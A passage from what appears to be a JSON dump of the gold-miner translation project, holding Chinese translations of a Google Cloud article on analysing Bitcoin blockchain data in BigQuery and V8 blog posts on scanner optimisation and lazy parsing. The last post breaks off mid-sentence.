区块链勘探和异常检测\n\n在比特币区块链中，存在被添加到两个区块的交易。这不应该发生。这个查询可以发现这种异常交易：\n\n```\n# 标准 SQL\nSELECT\n  *\nFROM (\n  SELECT\n    transaction_id,\n    COUNT(transaction_id) AS dup_transaction_count\n  FROM\n    `bigquery-public-data.bitcoin_blockchain.transactions`\n  GROUP BY\n    transaction_id)\nWHERE\n  dup_transaction_count > 1\n```\n\n**怎么会发生这种事情？** 比特币最初构建于 [BerkeleyDB](https://zh.wikipedia.org/wiki/Berkeley_DB)，它可以处理非唯一键。后来[中本聪](https://zh.wikipedia.org/wiki/%E4%B8%AD%E6%9C%AC%E8%81%AA)离开了比特币项目组，新的开发团队使用 [LevelDB](http://leveldb.org) 替代了 [BerkeleyDB](https://zh.wikipedia.org/wiki/Berkeley_DB)。然而 [LevelDB](http://leveldb.org) 无法处理唯一键，这使得开发者根据比特币改善提案 [BIP_0030](https://github.com/bitcoin/bips/blob/master/bip-0030.mediawiki) 修改 [比特币源代码](https://github.com/bitcoin/bitcoin)。\n\n尽管交易不再可能存在与多个块中，但仍然有一些过往的交易存在这个问题。\n\n### 为什么 Google Cloud 上比特币区块链数据不可不看？\n\n区块链一般为低信任环境中的平等节点之间的沟通和协调提供解决方案。在金融服务，供应链，媒体和其他高度数字化行业中，区块链正在崭露头角。比特币区块链旨在弥补金融业的缺陷，如[中本聪](https://en.bitcoin.it/wiki/Satoshi_Nakamoto)写的 [Bitcoin genesis block](https://en.bitcoin.it/wiki/Genesis_block)。\n\n比特币可以被描述为一个不可变的分布式账本，虽然它提供了 [OLTP](https://en.wikipedia.org/wiki/Online_transaction_processing) 功能（原子交易，数据持久性），但它对于定期存储的具体或汇总资金流进行短周期报告的 [OLAP](https://en.wikipedia.org/wiki/Online_analytical_processing) （分析）能力非常有限。难以轻易地从区块链构建报告可能会降低透明度并增加 [BTC-USD](https://www.google.com/search?q=btc+usd) 价格分析的难度以及 [NVT 比](http://charts.woobull.com/bitcoin-nvt-ratio/)等其他基本评估指标。\n\n相比之下，BigQuery 具有强大的 OLAP 功能。, 我们在 Google Cloud 上构建了一个软件系统：\n\n1.  从比特币区块链账中实时提取数据\n2.  将数据存储到 [BigQuery](https://cloud.google.com/bigquery) 并将其解除规范化，以便更轻松地进行探索\n3.  使用 [Data Studio](https://datastudio.google.com/c/org/UTgoe29uR0C3F1FBAYBSww/reporting/1G8yte8g3daDEw5EKOvbxPQudv92PZcPP/page/nExM/edit) 从数据中导出分析报告\n\n比特币区块链数据也可以通过 [Kaggle](https://www.kaggle.com/bigquery/bitcoin-blockchain?utm_medium=partner&utm_source=cloud&utm_campaign=big+data+blog+bitcoin) 获取。你可以使用 BigQuery Python 客户端库查询 Kernel（Kaggle 的免费浏览器内开发环境） 中的实时数据。你可以 fork 一份[这个实例 kernel](https://www.kaggle.com/mrisdal/visualizing-daily-bitcoin-recipients?utm_medium=partner&utm_source=cloud&utm_campaign=big+data+blog+bitcoin) 并用你自己的 Python 代码副本来进行试验。\n\n### BigQuery 公共数据集\n\n所有比特币区块链数据都批量加载到两个 BigQuery 表：blocks_raw 和 transactions。新块被广播到比特币网络时被追加到表中，因此这些表中的数据是最新的。\n\n### 鸣谢\n\n我们想感谢尽心尽力发表这篇博文的 Google 同事们。感谢 [Minhaz Kazi](https://twitter.com/_mkazi_)（Data Studio 主导开发者），[Megan Risdal](https://twitter.com/MeganRisdal)（Kaggle 数据科学家），[Sohier Dane](https://github.com/sohierdane)（Kaggle数据科学家）和[Hatem Nawar](https://twitter.com/hnawar)（云服务工程师）\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/blazingly-fast-parsing-part-1-optimizing-the-scanner.md",
    "content": "> * 原文地址：[Blazingly fast parsing, part 1: optimizing the scanner](https://v8.dev/blog/scanner)\n> * 原文作者：[tverwaes](https://twitter.com/tverwaes)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/blazingly-fast-parsing-part-1-optimizing-the-scanner.md](https://github.com/xitu/gold-miner/blob/master/TODO1/blazingly-fast-parsing-part-1-optimizing-the-scanner.md)\n> * 译者：[nettee](https://github.com/nettee)\n> * 校对者：[suhanyujie](https://github.com/suhanyujie)\n\n# 超快速的分析器（一）：优化扫描器\n\n要运行 JavaScript 程序，首先要处理源代码，让 V8 能理解它。V8 首先将源代码解析为一个抽象语法树（AST），这是用来表示程序结构的一系列对象。Ignition 会将它编译为字节码（bytecode）。语法分析 + 编译的这两个步骤的性能很重要，因为 V8 只有等编译完成才能运行代码。在这个系列的博客文章中，我们关注语法分析阶段，以及 V8 为提供一个超快速的分析器所做的工作。\n\n实际上我们的系列文章始于语法分析器的前一阶段。V8 的语法分析器接收**扫描器**（也就是词法分析器 —— 译注）提供的标记（token）作为输入。Token 是由一个或多个字符相连而成、有单一语义含义的字符块，例如字符串、标识符，或像 `++` 这样的操作符。扫描器通过组合底层字符流中的连续字符来构造这些 token。\n\n扫描器接收 Unicode 字符流。这些 Unicode 字符总是从一个有 UTF-16 码元（code unit）的流中解码。为了避免扫描器和语法分析器面对不同编码的特殊处理，我们只支持一种编码。我们选择 UTF-16 是因为它是 JavaScript 字符串的编码。并且源码位置需要相对于该编码而提供。[`UTF16CharacterStream`](https://cs.chromium.org/chromium/src/v8/src/scanner.h?rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=46) 提供了（可能是缓冲的）UTF-16 视图，该视图构建于 V8 从 Chrome 接收的 Latin1、UTF-8 或 UTF-16 编码之上。除了可以支持多种编码，这种扫描器和字符流分离的方式使 V8 在扫描时可以如同整个源代码都可用一样，即使可能只通过网络接收了一部分代码。\n\n![](https://v8.dev/_img/scanner/overview.svg)\n\n扫描器和字符流之间的接口是一个叫做 [`Utf16CharacterStream::Advance()`](https://cs.chromium.org/chromium/src/v8/src/scanner.h?rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=54) 的方法。它要么返回下一个 UTF-16 码元，要么返回 `-1` 来标识输入的结束。UTF-16 无法将每一个 Unicode 字符都编码在单个码元中。[Basic Multilingual Plane](https://en.wikipedia.org/wiki/Plane_(Unicode)#Basic_Multilingual_Plane) 之外的字符要编码为两个码元，它们也叫做代理对（surrogate pair）。扫描器在 Unicode 字符上进行工作，而不是 UTF-16 码元，所以它使用 [`Scanner::Advance()`](https://cs.chromium.org/chromium/src/v8/src/scanner.h?sq=package:chromium&g=0&rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=569) 方法包装底层流接口。这个方法将 UTF-16 码元解码为完整的 Unicode 字符。当前解码出的字符会被缓冲，然后被 [`Scanner::ScanString()`](https://cs.chromium.org/chromium/src/v8/src/scanner.cc?rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=775) 之类的扫描方法取走。\n\n扫描器会最多向前看 4 个字符 —— 这是 JavaScript 中歧义字符序列的最大长度 [[1]](#fn1) —— 以此[选择](https://cs.chromium.org/chromium/src/v8/src/scanner.cc?rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=422)特定的扫描器方法或 token。一旦选定了像 `ScanString` 这样的方法，它会取走这个 token 余下的字符，并将不属于这个 token 的第一个字符缓冲，留给下一个扫描的 token。在 `ScanString` 的情况中，它还将扫描到的字符拷贝到一个编码为 Latin1 或 UTF-16 的缓冲区中，同时解码转义序列。\n\n## 空白符\n\ntoken 之前可以由多种空白符分隔，如换行、空格、制表符、单行注释、多行注释等等。一类空白符可以跟随其他类型的空白符。如果空白符导致了两个 token 之前的换行，会增加含义：这可能导致[自动插入分号](https://tc39.github.io/ecma262/#sec-automatic-semicolon-insertion)。因此，在扫描下一个 token 之前，会跳过所有的空白符，并记录是否遇到了换行。大多数真实生产环境中的 JavaScript 代码都进行了缩小化（minify），所以幸运地，多字符的空白不是很常见。出于这个原因，V8 统一独立地扫描出每种空白符，就像是常规 token 一样。例如，如果 token 的第一个字符是 `/`，第二个字符也是 `/`，V8 会将其扫描为单行注释，返回 `Token::WHITESPACE`。这个过程会一直重复，[直到](https://cs.chromium.org/chromium/src/v8/src/scanner.cc?rcl=edf3dab4660ed6273e5d46bd2b0eae9f3210157d&l=671)我们找到了一个不是 `Token::WHITESPACE` 的 token。这意味着，如果下一个 token 前面没有空白符，我们立即开始扫描相关的 token，而不需要显式检查空白符。\n\n然而，这种循环会增加每个扫描出的 token 的开销 —— 它需要分支来判断刚扫描出的 token。更好的方案是，只在我们刚扫描出的 token 有可能是 `Token::WHITESPACE` 的时候才继续这个循环，否则就跳出循环。我们通过将循环本身放在一个单独的[辅助方法](https://cs.chromium.org/chromium/src/v8/src/parsing/scanner-inl.h?rcl=d62ec0d84f2ec8bc0d56ed7b8ed28eaee53ca94e&l=178)中来做到这一点。在这个方法中，我们在确信 token 不会是 `Token::WHITESPACE` 的时候就立即返回。也许这看起来只是一些小变动，但这能减少每一个扫描的 token 的额外开销。这对于标点符号之类的非常短的 token 尤其有用：\n\n![](https://v8.dev/_img/scanner/punctuation.svg)\n\n## 扫描标识符\n\n[标识符](https://tc39.github.io/ecma262/#prod-Identifier)是最复杂同时也最常见的 token，在 JavaScript 中用作变量名（以及其他内容）。标识符以具有 [`ID_Start`](https://cs.chromium.org/chromium/src/v8/src/unicode.cc?rcl=d4096d05abfc992a150de884c25361917e06c6a9&l=807) 属性的 Unicode 字符开头，后跟一串（可选的）具有 [`ID_Continue`](https://cs.chromium.org/chromium/src/v8/src/unicode.cc?rcl=d4096d05abfc992a150de884c25361917e06c6a9&l=947) 属性的字符。查看一个 Unicode 字符是否有 `ID_Start` 或 `ID_Continue` 属性非常耗性能。我们可以通过添加一个从字符到它们的属性的映射作为缓存来稍微加速。\n\n不过，大多数 JavaScript 源代码是用 ASCII 字符编写的。在 ASCII 范围的字符中，只有 `a-z`、`A-Z`、`$` 以及 `_` 是标识符的起始字符。`ID_Continue` 还另外包括 `0-9`。我们通过为 128 个 ASCII 字符构建一个表来加速标识符的扫描。这个表中有标志位，表示一个字符是否是 `ID_Start`、是否是 `ID_Continue` 等。因为我们查找的字符是在 ASCII 范围内，我们可以用一个分支来查看表中相应的标志位，判断字符的属性。在我们找到第一个没有 `ID_Continue` 属性的字符之前，所有的字符都是标识符的一部分。\n\n这篇文章中提到的所有改进都会增加如下所示的标识符扫描的性能差距：\n\n![](https://v8.dev/_img/scanner/identifiers-1.svg)\n\n越长的标识符扫描得越快，这看起来似乎违反直觉。这可能会让你认为增加标识符的长度有利于提升性能。就 MB/s 而言，扫描较长的标识符当然更快，因为我们在非常紧凑的循环中停留了更长的时间，而没有返回给语法分析器。然而，从你的应用的性能的角度来看，你关注的应当是扫描完整的 token 有多快。下图粗略地展示了每秒钟扫描的 token 数量与 token 长度之间的关系：\n\n![](https://v8.dev/_img/scanner/identifiers-2.svg)\n\n这里很明显，使用较短的标识符有利于提升你的应用程序的分析性能：我们可能每秒钟扫描更多的 token。这意味着，那些我们看起来在 MB/s 上以较快的速度分析的位置，有着较低的信息密度，实际上每秒产出的 token 较少。\n\n## 内化缩小化的标识符\n\n所有的字符串字面量和标识符，都会在扫描器和语法分析器的边界上删除重复的数据。如果分析器请求一个字符串或标识符的值，对每个可能的字面量值，它会得到一个唯一的字符串对象。这通常需要哈希表查找。由于 JavaScript 代码常常进行缩小化，V8 为单个 ASCII 字符组成的字符串建立了简单的查找表。\n\n## 关键字\n\n关键字是由语言定义的标识符的特殊子集，例如 `if`、`else` 和 `function`。V8 的扫描器会为关键字返回与标识符不同的 token。在扫描出标识符之后，我们需要识别该标识符是否是关键字。由于 JavaScript 中的所有关键字仅包含小写字母 `a-z`，我们也可以记录标志位来表明一个 ASCII 字符是否是可能的关键字 start 和 continue 字符（类似标识符的 `ID_Start` 和 `ID_Continue` —— 译注）。\n\n如果标志位表明一个标识符可能是关键字，我们通过在这个标识符的第一个字符上进行条件判断，缩减候选关键字的集合。由于关键字的不同的第一个字符数量要多于关键字不同的长度数量，因此这种条件判断可以减少后续分支的数量。对于每个字符，我们基于可能的关键字长度进行条件判断，只在长度也匹配的情况下比较标识符与关键字。\n\n更好的方式是使用一种叫做[完美散列](https://en.wikipedia.org/wiki/Perfect_hash_function)的技术。由于关键字列表是事先确定的，我们可以计算出一个完美散列函数，它对每个标识符只给出至多一个候选关键字。V8 使用 [gperf](https://www.gnu.org/software/gperf/) 来计算这个函数。[结果](https://cs.chromium.org/chromium/src/v8/src/parsing/keywords-gen.h)是由标识符的长度和前两个字符来寻找单个候选关键字。我们在两者长度相等的情况下才会将这个标识符与关键字进行比较。对于标识符不是关键字的情况，这种方法尤其提高了性能，因为我们只需要较少的分支就可以判断出（它不是关键字）。\n\n![](https://v8.dev/_img/scanner/keywords.svg)\n\n## 代理对\n\n如前所述，我们的扫描器工作在一个 UTF-16 编码的字符流上，但是接收的是 Unicode 字符。补充平面中的字符只在标识符 token 中有特殊的含义。如果说这种字符出现在字符串中，它们不会是字符串的结尾。JavaScript 支持单独代理（lone surrogate），它们也会简单地从源码中拷贝过来。出于这个原因，除非绝对必要，最好避免组合代理对，让扫描器直接工作在 UTF-16 码元上，而不是 Unicode 字符上。当我们扫描字符串时，我们不需要寻找代理对，将它们组合，然后当我们存储字符构建字面量的时候再将它们拆开。只剩两种情况下扫描器确实需要处理代理对。在 token 扫描的开始处，只有当我们无法将字符识别为其他任何东西的时候我们才需要[组合](https://cs.chromium.org/chromium/src/v8/src/parsing/scanner-inl.h?rcl=d4096d05abfc992a150de884c25361917e06c6a9&l=515)代理对，看看组合结果是否是一个标识符的开头。类似地，我们需要在标识符扫描的慢速路径中，[组合](https://cs.chromium.org/chromium/src/v8/src/parsing/scanner.cc?rcl=d4096d05abfc992a150de884c25361917e06c6a9&l=1003)代理对来处理非 ASCII 字符。\n\n## `AdvanceUntil`\n\n扫描器和 `UTF16CharacterStream` 之间的接口是有状态的。字符流会记录它在缓冲区中的位置，在每次码元被取走之后将位置递增。扫描器会在返回给请求一个字符的扫描方法之前，先缓冲这个接收到的码元。这个扫描方法会读到已缓冲的字符，并根据字符的值继续执行。这提供了漂亮的分层，但速度相当慢。去年秋天，我们的实习生 Florian Sattler 提出了改进的接口，它保留了分层的好处，同时提供了更快访问流中码元的方法。一个模板化的函数 [`AdvanceUntil`](https://cs.chromium.org/chromium/src/v8/src/parsing/scanner.h?rcl=d4096d05abfc992a150de884c25361917e06c6a9&l=72)（特化参数为扫描帮助函数），会使用流中的每个字符调用帮助函数，直到帮助函数返回 false。这本质上为扫描器提供了直接访问底层数据，而又不破坏抽象的方法。这个方案实际上简化了扫描帮助函数，因为它们不需要处理 `EndOfInput` 了。\n\n![](https://v8.dev/_img/scanner/advanceuntil.svg)\n\n`AdvanceUntil` 对于加快那些需要处理大量字符的扫描函数尤其有用。我们使用它来加速之前提到的标识符，同时还同来加速字符串 [[2]](#fn2) 和注释。\n\n## 结语\n\n扫描的性能是语法分析器性能的基石。我们已经将扫描器调节得尽可能高效了。这导致了全面性的提升，扫描单个 token 的性能提升了约 1.4 倍，字符串 1.3 倍，多行注释 2.1 倍，标识符 1.2-1.5 倍，取决于标识符长度。\n\n然而，我们的扫描器也只能做这么多。作为开发者，你可以通过提升程序的信息密度来进一步提升语法分析的性能。最简单的方法是将你的源代码缩小化，去除不必要的空白符，避免出现不必要的非 ASCII 字符。理想情况下，这些步骤都作为构建流程的一部分自动完成了，那么你就不需要在写代码的时候担心这些了。\n\n* * *\n\n1. `<!--` 是 HTML 注释的开头，而 `<!-` 会被识别为“小于”、“非”、“减”。[↩︎](#fnref1)\n    \n2. 当前，无法被编码为 Latin1 的字符串和标识符处理代价会较昂贵，因为我们会先尝试将他们缓冲为 Latin1，当遇到一个无法编码为 Latin1 的字符的时候再转化为 UTF-16。[↩︎](#fnref2)\n\n作者：Toon Verwaest ([@tverwaes](https://twitter.com/tverwaes))，可耻的优化者。\n\n[转推这篇文章！](https://twitter.com/v8js/status/1110205101652787200)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/blazingly-fast-parsing-part-2-lazy-parsing.md",
    "content": "> * 原文地址：[Blazingly fast parsing, part 2: lazy parsing](https://v8.dev/blog/preparser)\n> * 原文作者：[https://v8.dev](https://v8.dev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/blazingly-fast-parsing-part-2-lazy-parsing.md](https://github.com/xitu/gold-miner/blob/master/TODO1/blazingly-fast-parsing-part-2-lazy-parsing.md)\n> * 译者：[suhanyujie](https://github.com/suhanyujie)\n\n# 超快速的分析器（二）：惰性解析\n\n这是 V8 如何尽可能快地解析 JavaScript 系列文章的第二部分。在第一部分中已经讲解了如何让 V8 [扫描器](https://github.com/xitu/gold-miner/blob/master/TODO1/blazingly-fast-parsing-part-1-optimizing-the-scanner.md)更快。\n\n解析是编译器（V8 中，字节码编译器 [Ignition](https://v8.dev/blog/ignition-interpreter)）提供的将源代码转换成中间表示的步骤。解析和编译发生在 web 页面开始渲染的关键过程中，而不是这些所有的功能在页面启动期间需要立即给浏览器提供。尽管开发人员可以使用异步和延迟脚本，但这不是一直都能生效的。此外，许多 web 页面只提供某些功能所使用的代码，在页面小部分的运行期间，用户可能根本无法使用这些功能。\n\n急于编译不必要的代码可能带来实际的资源消耗:\n\n* CPU 周期用于创建代码，从而在页面启动时，实际上延迟了代码的有效性。\n* 代码对象占用内存，至少在[字节码刷新](https://v8.dev/blog/v8-release-74#bytecode-flushing)时确定当前不需要占用，并且允许占用的内存被垃圾回收。\n* 顶层脚本执行完成时，编译的代码最终被缓存在磁盘上，占用磁盘空间。\n\n由于这些原因，所有主流浏览器都实现了 **惰性解析**。解析器不是为每个函数都生成一个抽象语法树，然后将其编译为字节码，而是根据实际遇到的函数进行“预解析”，而不是全部都解析。这是通过切换到使用[预解析器](https://cs.chromium.org/chromium/src/v8/src/parsing/preparser.h?l=921&rcl=e3b2feb3aade83c02e4bd2fa46965a69215cd821)来做到的，它是一个解析器的副本，只做最基本的工作，否则就跳过函数。预解析器验证它跳过函数是语法有效的，并产生正确编译外部函数所需的所有信息。之后调用预解析的函数时，将根据需要，对其进行完全的解析和编译。\n\n## 变量分配\n\n让预解析复杂化的主要问题是变量分配。\n\n处于性能原因考虑，在机器的栈上管理函数的激活。例如，如果一个函数 `g` 使用参数 `1` 和 `2` 调用了函数 `f`：\n\n```\nfunction f(a, b) {\n  const c = a + b;\n  return c;\n}\n\nfunction g() {\n  return f(1, 2);\n  // 这里返回的是 `f` 的指针调用，返回结果指向这儿\n  // （因为当 `f` 返回时，它会返回到这里）。\n}\n```\n\n首先将接收者（比如 `f` 的 `this` 值，就是 `globalThis`，因为它是一个随意的函数调用）推入栈中，然后是被调用的函数 `f`。然后参数 `1` 和 `2` 被推入栈。这时函数 `f` 被调用。为了执行调用，我们首先在栈上保存 `g` 的状态：返回 `f` 的指令指针（`rip`；我们需要返回什么样的代码）以及“帧指针”（`fp`；返回时栈应该是什么样的）。然后我们输入 `f`，它为局部变量 `c` 分配空间，以及它可能需要的任何临时空间。这确保了函数被调用时如果超出作用域，那么函数使用的数据都会无法使用：它只是简单地从栈中被弹出。\n\n![](https://v8.dev/_img/preparser/stack-1.svg)\n\n调用函数 `f` 时的栈布局，在栈上分配参数 `a`、`b` 以及局部变量 `c`。\n\n这种情形的问题是函数可以引用在函数外部声明的变量。内部函数，可以比创建他们的调用，有效期更长：\n\n```\nfunction make_f(d) { // ← `d` 的声明\n  return function inner(a, b) {\n    const c = a + b + d; // ← `d` 的引用\n    return c;\n  };\n}\n\nconst f = make_f(10);\n\nfunction g() {\n  return f(1, 2);\n}\n```\n\n在上面的例子中，从 `inner` 到 `make_f` 中声明的局部变量 `d` 的引用在 `make_f` 返回后才计算的。为了实现这一点，使用词法闭包的语言虚拟机在一个称为“上下文”的结构中分配变量的引用，该变量引用来自堆上的内部函数。\n\n![](https://v8.dev/_img/preparser/stack-2.svg)\n\n调用 `make_f` 时的栈布局，将参数拷贝到分配在堆中的上下文中，以供后续 `inner` 中捕获 `d` 时使用。\n\n这意味着对于函数中声明的变量，我们需要知道内部函数是否引用了这个变量，以便于决定是在栈中存储，还是在堆分配的上下文中存储。当我们计算一个函数的字面量时，我们分配了一个闭包，它指向函数中的代码和当前上下文：上下文中包含它可能需要访问的变量值。\n\n简单的说，我们至少需要跟踪预解析器中变量的引用。\n\n如果我们只跟踪引用，就会高估变量的引用。在外部函数中声明的变量可以通过内部函数中的重新声明来被覆盖，从而使来自内部函数的引用指向内部的声明，而不是外部的声明。如果没有限制地在上下文中保存外部变量，性能就会受到影响。因此，变量分配使预解析合理地执行，我们需要确保预解析的函数正确地跟踪变量引用和声明。\n\n顶层代码是这个规则的一个例外。顶层脚本总是分配堆内存的，因为变量是跨脚本可见的。接近于更好的实现这个架构的一个简单方法是简单的运行预解析器，而不需要跟踪变量来快速解析最顶层函数；并只对内部函数使用完整的解析器，而跳过编译它们这个步骤。虽然这比预解析成本更高，因为我们不必要地构建整个 AST，但它让我们启动并运行起来了。这些恰好是 V8 在 V8 v6.3 / Chrome 63 以及之后版本中所做的。\n\n## 告知预解析器变量的信息\n\n预解析器中的跟踪变量分配和引用非常复杂，因为在 JavaScript 中，从一开始它就不清楚部分表达式的含义。例如，假设我们有一个带参数 `d` 的函数 `f`，它有一个内部函数 `g`，这个表达式看起来是可能引用了 `d`。\n\n```\nfunction f(d) {\n  function g() {\n    const a = ({ d }\n```\n\n它最终可能引用 `d`，因为我们看到的这些 `token` 是析构赋值表达式的一部分。\n\n```\nfunction f(d) {\n  function g() {\n    const a = ({ d } = { d: 42 });\n    return a;\n  }\n  return g;\n}\n```\n\n它也可能最终是一个带有析构参数 `d` 的箭头函数，在这种情况下，`f` 中的 `d` 不会被 `g` 引用。\n\n```\nfunction f(d) {\n  function g() {\n    const a = ({ d }) => d;\n    return a;\n  }\n\n  return [d, g];\n\n}\n```\n\n最初，我们的预解析器是作为解析器的独立副本来实现的，没有太多共用的东西，这导致两个解析器随着时间的推移而产生不同。通过将解析器和预解析器基于 `ParserBase` 重写，实现[模板递归模式](https://en.wikipedia.org/wiki/Curiously_recurring_template_pattern)，我们设法让其最大可能的共用，同时保持独立副本的性能优势。这大大简化了向预解析器添加所有变量的跟踪，因为大部分实现可以在解析器和预解析器之间共用。\n\n实际上，忽略变量声明和引用甚至顶级函数是不正确的。ECMAScript 规范要求在第一次解析脚本时检测各种类型的变量冲突。例如，如果一个变量在同一个作用域中被声明两次，那么它就被认为是一个[前期语法错误](https://tc39.github.io/ecma262/#early-error)。因为我们的预解析器只是跳过了变量声明，它将会在准备阶段错误地允许代码通过。这个时候，我们所认为的性能上的优化却违反了规范。但是，现在预解析器正确地跟踪变量，我们消除了这类与变量解析等违反规范的行为，并且没有显著的性能消耗。\n\n## 跳过内部函数\n\n正如之前所讲到的，当第一次调用预解析后的函数时，我们对其进行全面的解析，并将生成 AST 编译为字节码。\n\n```\n// 这是顶层作用域\nfunction outer() {\n  // 预解析完成\n  function inner() {\n    // 预解析完成\n  }\n}\n\nouter(); // 全面解析并且编译 `outer`，而不是 `inner`。\n```\n\n该函数直接指向外部的上下文，其中包含内部函数需要使用声明变量的值。为了允许函数的惰性编译（并支持调试器），上下文指向一个名为 [`ScopeInfo`](https://cs.chromium.org/chromium/src/v8/src/objects/scope-info.h?rcl=ce2242080787636827dd629ed5ee4e11a4368b9e&l=36) 的元数据对象。`ScopeInfo` 对象描述了在上下文中列出的变量。这意味着在编译器内部函数中，我们可以计算变量在上下文链中的所处位置。\n\n但是，要计算延迟编译函数本身是否需要上下文，我们需要再次执行作用域解析：我们需要知道嵌套在延迟编译函数中的函数是否引用了延迟函数声明的变量。我们可以通过再次预编译进行计算得出。这正是 V8 在直到 V8 v6.3 / Chrome 63 中所实现的。但是这并不是理想的性能优化方法，因为它使源码大小和解析成本之间的关系变成非线性：我们将尽可能多地准备嵌套函数。除了动态程序的自然嵌套之外，JavaScript 打包器通常将代码封装在“[可直接调用的函数表达式](https://en.wikipedia.org/wiki/Immediately_invoked_function_expression)” （IIFEs）中，使大多数 JavaScript 程序具有多个嵌套层。\n\n![](https://v8.dev/_img/preparser/parse-complexity-before.svg)\n\n每次重新解析至少会增加解析函数的成本\n\n为了避免非线性性能开销，我们甚至在预解析过程中执行了全局作用域解析。我们存储了足够的元数据，以便以后可以简单的 **跳过** 内部函数，而不必重新进行预解析。一种方法是存储内部函数引用的变量名。这是大开销的存储，而且要求我们依然进行重复工作：我们已经在预解析期间执行了变量解析。\n\n相反，我们将序列化一些变量，这些变量作为标记每个变量的密集数组被分配。当我们延迟解析一个函数时，预解析器按照其所看到的重新创建变量，并且我们可以简单的将元数据应用于变量。现在这个函数已经被编译了，不再需要变量分配元数据，并且可以进行垃圾回收。由于我们只需要这个函数元数据实际上包含了内部函数，所以大部分函数甚至不需要这些元数据，从而显著降低了内存开销。\n\n![](https://v8.dev/_img/preparser/parse-complexity-after.svg)\n\n通过跟踪已经预解析的函数的元数据，我们可以完全跳过内部函数。\n\n跳过内部函数所带来的性能影响是非线性的，就像重新预解析内部函数的所带来的开销一样。有些站点将所有函数提升到顶级作用域内。因为它们的嵌套级别总是 0，所以开销也就总是 0。然而，许多现代的网站，实际上有很深的嵌套功能。在这些站点上，当 V8 v6.3 / Chrome 63 启动该特性时，我们看到了显著的性能提升。主要优点是，如今网站的代码的嵌套深度不再重要：任何函数最多只发生一次预解析，一次完全解析 [[1]](#fn1)。\n\n![](https://v8.dev/_img/preparser/skipping-inner-functions.svg)\n\n主线程和非主线程解析时间，启动前后的“跳过内部函数”优化。\n\n## Possibly-Invoked 函数表达式\n\n如前所述，打包器通过将模块代码封装在一个它们立即调用的闭包中，并将多个模块组合到一个文件中。这为模块间提供了隔离，允许他们像脚本中唯一的代码一样运行。这些函数本质上是嵌套脚本；脚本执行时立即调用这些函数。包装器通常提供 **可直接调用的函数表达式** （IIFEs; 发音为 “iffies”）作为括号函数： `(function(){…})()`。\n\n由于这些函数在脚本执行期间是马上需要用到的，所以预处理这些函数不是最好的方法。在脚本的顶层执行过程中，我们立即需要编译该函数，并完全解析和编译该函数。这意味着，我们在前面尝试加速启动时执行的解析越快，启动时就必然更加地会产生不必要的额外开销。\n\n你可能会问，为什么不简单地编译调用的函数呢？虽然开发人员在调用函数时很容易注意到，但对于解析器则不是这样。解析器需要做决定 —— 甚至在开始解析函数之前！—— 是否急于编译函数或推迟编译。语法中的歧义使得简单地快速扫描到函数末尾变得困难，而且成本很快就与常规预解析的相类似了。\n\n因此 V8 有两个简单的模式，可以识别为 **possibly-invoked 函数表达式**（PIFEs; 发音为 “piffies”），根据这种模式可以更快的解析并编译一个函数：\n\n* 如果函数是带括号的函数表达式，形如 `(function(){…})`，我们假设它被调用。我们一下就看到这个模式的开始，即 `(function`。\n* 从 V8 v5.7 / Chrome 57 开始，我们还检测了由 [UglifyJS](https://github.com/mishoo/UglifyJS2) 生成的模式 `!function(){…}(),function(){…}(),function(){…}()`。我们一看到 `!function`，或 `,function` 如果它当前紧跟着一个 PIFE，则这个检测就开始起作用。\n\n因为 V8 过早编译 PIFEs，所以它们可以被用作[控制信息的反馈](https://en.wikipedia.org/wiki/Profile-guided_optimization) [[2]](#fn2)，反馈信息告知浏览器启动需要哪些函数。\n\n当 V8 还在重复解析内部函数时，一些开发人员已经注意到 JS 解析对启动运行的影响相当大。这个 [`optimize-js`](https://github.com/nolanlawson/optimize-js) 包基于静态推断将函数转换为 PIFEs。在创建包时，这对 V8 的负载性能有很大影响。通过在 V8 v6.1 上运行 `optimize-js` 提供的基准测试，我们重现了这些结果，只需看压缩后的最小化脚本。\n\n![](https://v8.dev/_img/preparser/eager-parse-compile-pife.svg)\n\n过早解析和编译 PIFEs 会让冷加载和热加载（第一页和第二页的加载，测量解析 + 编译 + 执行时间等总时间）稍微快一点。但是，由于对解析器的显著改进，这给 V8 v7.5 带来的性能提升比给 V8 